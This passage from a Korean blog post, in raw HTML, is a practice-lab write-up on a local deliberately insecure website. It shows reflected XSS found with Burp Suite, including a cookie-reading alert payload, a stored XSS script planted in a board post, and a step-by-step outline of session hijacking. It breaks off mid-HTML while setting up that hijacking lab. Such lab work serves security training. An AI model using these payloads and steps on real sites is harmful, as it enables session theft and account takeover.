&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1547&quot; data-origin-height=&quot;936&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d0zugP/btsLIofTkeA/TxI4ZVD18cjgPHTPZhy7v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d0zugP/btsLIofTkeA/TxI4ZVD18cjgPHTPZhy7v1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d0zugP/btsLIofTkeA/TxI4ZVD18cjgPHTPZhy7v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd0zugP%2FbtsLIofTkeA%2FTxI4ZVD18cjgPHTPZhy7v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1547&quot; height=&quot;936&quot; data-origin-width=&quot;1547&quot; data-origin-height=&quot;936&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 Foward 를 통해 확인 시, 응답값에 hohoho는 확인되지 않았다. (Refleted XSS 취약점 존재하지 않음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index.php 에는 확인되지 않으니 다른 페이지를 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;admin 으로 로그인한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. Intercept On (Ctrl + T) 후 웹 사이트에서 MyPage 를 클릭한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. id=admin 에 hohoho를 입력 후 Forward (Ctrl+F) 후 서버 측 응답 확인&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. Intercept Off (Ctrl + T) 후 웹 사이트에서 출력된 에러메시지 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1351&quot; data-origin-height=&quot;749&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zAfC6/btsLHoBgLUv/JUm5bZFB6DofIMuhqBNnGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zAfC6/btsLHoBgLUv/JUm5bZFB6DofIMuhqBNnGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zAfC6/btsLHoBgLUv/JUm5bZFB6DofIMuhqBNnGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzAfC6%2FbtsLHoBgLUv%2FJUm5bZFB6DofIMuhqBNnGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1351&quot; height=&quot;749&quot; data-origin-width=&quot;1351&quot; data-origin-height=&quot;749&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hohoho 라는 사용자는 없으므로 해당 사용자가 존재하지 않는다는 문구가 출력되며, 응답값에는 hohoho 가 확인되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1545&quot; data-origin-height=&quot;590&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZlqrn/btsLIzInODB/Cr8mKxOLueVkSVxVyhmJDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZlqrn/btsLIzInODB/Cr8mKxOLueVkSVxVyhmJDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZlqrn/btsLIzInODB/Cr8mKxOLueVkSVxVyhmJDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZlqrn%2FbtsLIzInODB%2FCr8mKxOLueVkSVxVyhmJDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1545&quot; height=&quot;590&quot; data-origin-width=&quot;1545&quot; data-origin-height=&quot;590&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;251&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nPqZr/btsLIL2Tl95/Q5z8yE9zeUVAqb6ESz7F4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nPqZr/btsLIL2Tl95/Q5z8yE9zeUVAqb6ESz7F4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nPqZr/btsLIL2Tl95/Q5z8yE9zeUVAqb6ESz7F4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnPqZr%2FbtsLIL2Tl95%2FQ5z8yE9zeUVAqb6ESz7F4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;251&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;251&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MyPage는 입력값을 받은 후 사용자 존재 유무를 확인하는 로직이 있기 때문에 사용자 입력값이 출력되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(hohoho 라는 사용자는 존재하지 않기 때문에)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pingcheck 를 클릭 후 URL 에 abc를 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지 내 pingchecabc 가 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값이 서버 응답값으로 출력된 것으로 Reflected XSS 취약점이 존재할 수도 있다고 판단할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(사용자 입력값 검증이 존재할 수도 있기 때문에 완전히 Reflected XSS 에 취약한것은 아니다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnFo3Y/btsLGO1zxQg/PxNPZV7u1Yqkc5Vd2vS3BK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnFo3Y/btsLGO1zxQg/PxNPZV7u1Yqkc5Vd2vS3BK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnFo3Y/btsLGO1zxQg/PxNPZV7u1Yqkc5Vd2vS3BK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnFo3Y%2FbtsLGO1zxQg%2FPxNPZV7u1Yqkc5Vd2vS3BK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;380&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 XSS 구문을 입력하여 취약 유무를 확인하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://127.0.0.1/insecure_website/index.php?page=error&amp;amp;value=&lt;b&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/b&gt; 를 입력해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cexWPR/btsLF3YQPJy/mdUuKvxzbHWe0RsqnWnt9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cexWPR/btsLF3YQPJy/mdUuKvxzbHWe0RsqnWnt9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cexWPR/btsLF3YQPJy/mdUuKvxzbHWe0RsqnWnt9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcexWPR%2FbtsLF3YQPJy%2FmdUuKvxzbHWe0RsqnWnt9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;288&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션값이 포함된 경고창이 출력되는 것을 통해서 해당 페이지가 Reflected XSS 에 취약하다는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1888&quot; data-origin-height=&quot;928&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgUa9s/btsLIz2HvHZ/m3WDURjXTuicEtdd4suS5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgUa9s/btsLIz2HvHZ/m3WDURjXTuicEtdd4suS5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgUa9s/btsLIz2HvHZ/m3WDURjXTuicEtdd4suS5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgUa9s%2FbtsLIz2HvHZ%2Fm3WDURjXTuicEtdd4suS5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1888&quot; height=&quot;928&quot; data-origin-width=&quot;1888&quot; data-origin-height=&quot;928&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트 내 서버 응답값에서도 사용자 입력값이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://127.0.0.1/insecure_website/index.php?page=error&amp;amp;value=&lt;b&gt;&amp;lt;script&amp;gt;alert('XSS Attack')&amp;lt;/script&amp;gt;&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 입력해본다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhlu4z/btsLHUs1mAF/lmYG69Fc2hqOlETfqvTDH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhlu4z/btsLHUs1mAF/lmYG69Fc2hqOlETfqvTDH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhlu4z/btsLHUs1mAF/lmYG69Fc2hqOlETfqvTDH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhlu4z%2FbtsLHUs1mAF%2FlmYG69Fc2hqOlETfqvTDH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;237&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1569&quot; data-origin-height=&quot;593&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dr2vLa/btsLIyvVMlA/7K0g4eODH1upq9YDApcMm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dr2vLa/btsLIyvVMlA/7K0g4eODH1upq9YDApcMm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dr2vLa/btsLIyvVMlA/7K0g4eODH1upq9YDApcMm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdr2vLa%2FbtsLIyvVMlA%2F7K0g4eODH1upq9YDApcMm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1569&quot; height=&quot;593&quot; data-origin-width=&quot;1569&quot; data-origin-height=&quot;593&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트 내 서버 응답값에서도 사용자 입력값이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 pingcheck 페이지가 Reflected XSS 공격에 취약한 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습5-3 STORED XSS 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS 는 데이터베이스에 사용자 입력값이 저장되어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자의 악성 스크립트가 데이터베이스에 담겨있다가 사용자가 읽었을때 해당 악성 스크립트가 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 위해서는 데이터베이스에 입력값이 저장되는 기능에 악성 스크립트를 심어야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판의 글쓰기 기능을 활용하여 악성 스크립트를 심어본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판에 &amp;lt;sciprt&amp;gt;alert('XSS Attack')&amp;lt;script&amp;gt; 를 작성 후 저장한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;858&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAwYd5/btsLGgjo1UL/CpKGfrDKMguKkSeHRZxyz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAwYd5/btsLGgjo1UL/CpKGfrDKMguKkSeHRZxyz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAwYd5/btsLGgjo1UL/CpKGfrDKMguKkSeHRZxyz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAwYd5%2FbtsLGgjo1UL%2FCpKGfrDKMguKkSeHRZxyz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;858&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;858&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;누군가가 해당 게시글을 읽게되면 다음과 같이 XSS Attack 문구가 경고창으로 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;598&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MWplQ/btsLHpmFe0C/tma8NR4r8U0z3k5STikk71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MWplQ/btsLHpmFe0C/tma8NR4r8U0z3k5STikk71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MWplQ/btsLHpmFe0C/tma8NR4r8U0z3k5STikk71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMWplQ%2FbtsLHpmFe0C%2Ftma8NR4r8U0z3k5STikk71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;598&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;598&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS는 이런식으로 게시글에 악성 스크립트를 심었다가, 누군가 해당 게시글을 클릭하게 되면 악성 스크립트가 발생되는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS 공격이 다른 XSS 공격에 비해 더 편리하기도 하고, 취약점이 발생할 확률이 좀 더 높은 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6) 세션 하이재킹에 대한 이해와 공격 원리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Session Hijacking&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 세션 탈취를 통해 아이디, 패스워드를 몰라도 사용자 계정 도용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 세션: 사용자를 식별하는 ID&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; 공격 원리 분석 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1399&quot; data-origin-height=&quot;799&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv0JeO/btsLIb86oPq/kcPHpA3VwOzFkVeOEAPhsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv0JeO/btsLIb86oPq/kcPHpA3VwOzFkVeOEAPhsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv0JeO/btsLIb86oPq/kcPHpA3VwOzFkVeOEAPhsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv0JeO%2FbtsLIb86oPq%2FkcPHpA3VwOzFkVeOEAPhsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1399&quot; height=&quot;799&quot; data-origin-width=&quot;1399&quot; data-origin-height=&quot;799&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 공격자는 XSS 에 취약한 게시판에 악성 스크립트가 포함된 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 데이터베이스에 악성 스크립트가 저장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 사용자는 해당 게시글을 클릭하여 읽는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 게시글에 포함된 악성 스크립트가 데이터베이스에서 웹 페이지로 전달된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 게시글에 담긴 악성 스크립트가 실행되어 사용자에게 전달된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 공격자 서버로 세션을 보내는 스크립트가 실행되어 사용자의 세션이 전송된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. 공격자 서버에는 사용자 세션이 담겨서 공격자에게 전달된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. 공격자는 사용자의 세션을 사용하여 웹 서비스에 사용자인척 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습5-4 세션 하이재킹 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span&gt;에러:&lt;/span&gt;&lt;br /&gt;&lt;span&gt;버프스위트에서 8888 포트로 프록시 사용하려고 설정 중, 8888포트가 사용중이라는 오류가 발생하여 확인해보니 jupyter notebook 를 사용하고 있는 것을 확인하였다. 127.0.0.1:8888 입력 시 jupyter notebook 페이지로 들어간다.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;그리고 jupyter notebook 접속 후 세션 하이재킹 실습을 하는 경우에는, xsrf 문자열과 함께 세션값을 평소와 다르게 가져오는 현상이 발생하였다.&lt;br /&gt;프록시 사용을 위해서 현재 컴퓨터에서 8080 또는 8888포트가 사용되는지 확인해야 한다. &lt;br /&gt;CMD 창을 열고 netstat -ano | findstr 8080 을 입력 또는 netstat -ano | findstr 8888 을 입력해서 해당 포트들이 사용되는지 확인한다.&lt;br /&gt;검색결과가 없으면 해당 포트는 미사용이라는 의미이며, 검색결과가 나오면 해당 포트는 사용하고 있다는 의미이다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS 를 활용하여 세션 하이재킹 공격 실습을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 하이재킹 실습을 위해서는 2개의 웹 브라우저를 사용해야 한다. (관리자와 해커를 나눠서 실습)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬PC의 웹 브라우저와 VMWare 내 웹 브라우저로 실습해도 상관없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬(관리자)과 엣지(해커)를 사용해서 실습한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬에서는 admin 으로 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엣지에서는 192.168.56.1/insecue_website로 접속 후, 공격자로 회원가입을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1 은 로컬 PC의 사설 IP로 실질적으로 127.0.0.1 과 동일하다. (CMD 에서 ipconfig 로 확인 가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1 에서 작성한 게시글을 127.0.0.1 에서 동일하게 확인 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;904&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEDepR/btsLM5awhOP/80m7VaAwNrjJAxRRiRok00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEDepR/btsLM5awhOP/80m7VaAwNrjJAxRRiRok00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEDepR/btsLM5awhOP/80m7VaAwNrjJAxRRiRok00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEDepR%2FbtsLM5awhOP%2F80m7VaAwNrjJAxRRiRok00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;874&quot; height=&quot;904&quot; data-origin-width=&quot;874&quot; 